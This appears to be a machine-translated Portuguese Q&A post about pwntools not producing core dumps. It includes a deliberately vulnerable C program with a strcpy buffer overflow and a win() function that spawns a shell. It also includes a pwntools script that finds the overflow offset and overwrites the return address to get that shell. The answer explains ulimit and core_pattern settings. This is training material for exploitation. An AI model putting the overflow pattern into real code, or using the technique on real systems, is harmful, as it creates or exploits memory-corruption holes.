Pwntools não pode criar arquivo principal

0

Estou tentando usar pwntools e estou seguindo este tutorial para criando Corefiles para automatizar a exploração .

O código do executável ./ crash é:

#include <string.h>
#include <stdlib.h>
#include <unistd.h>
void win() {
    system("sh");
}
int main(int argc, char** argv) {
    char buffer[64];
    strcpy(buffer, argv[1]);
}

Depois de ulimit -c unlimited , se eu executar o executável (do bash) com uma entrada suficientemente grande, ele irá travar e gerar os arquivos principais.

Usando pwntools:

from pwn import *

# Generate a cyclic pattern so that we can auto-find the offset
payload = cyclic(128)

# Run the process once so that it crashes
process(['./crash', payload]).wait()

# Get the core dump
core = Coredump('./core')

# Our cyclic pattern should have been used as the crashing address
assert pack(core.eip) in payload

# Cool! Now let's just replace that value with the address of 'win'
crash = ELF('./crash')
payload = fit({
    cyclic_find(core.eip): crash.symbols.win
})

# Get a shell!
io = process(['./crash', payload])
io.sendline('id')
print io.recvline()
# uid=1000(user) gid=1000(user) groups=1000(user)

Se eu executar este script (do bash, ambos do meu usuário e do root) com a mesma entrada grande, ele irá falhar, mas não gerará o arquivo principal.

Eu também tentei editar o arquivo /etc/sysctl.conf e defini fs.suid_dumpable = 1

Meu sistema operacional é um Ubuntu 16.04.3 LTS x64 com um kernel 4.4.0-89-genérico.

    
por packmad 17.08.2017 / 12:21

1 resposta

0

Você não nos mostrou como disse ao sistema operacional para lidar com os despejos principais.

O tamanho máximo é configurado via ulimit -c $MAXSIZEINBLOCKS (observe que ulimit tem valores flexíveis e difíceis). $ MAXSIZEINBLOCKS deve ser um inteiro ou a string 'ilimitada'

Você também precisa dizer ao SO onde colocar os dumps principais - isso é feito através de sysctl . por exemplo. sysctl -w kernel.core_pattern=/var/crash/core.%p.%u.%e

Pode ser útil saber que você pode obter um dump principal de qualquer processo em execução (se permissões permitirem) usando gcore

    
por 17.08.2017 / 16:05

Tags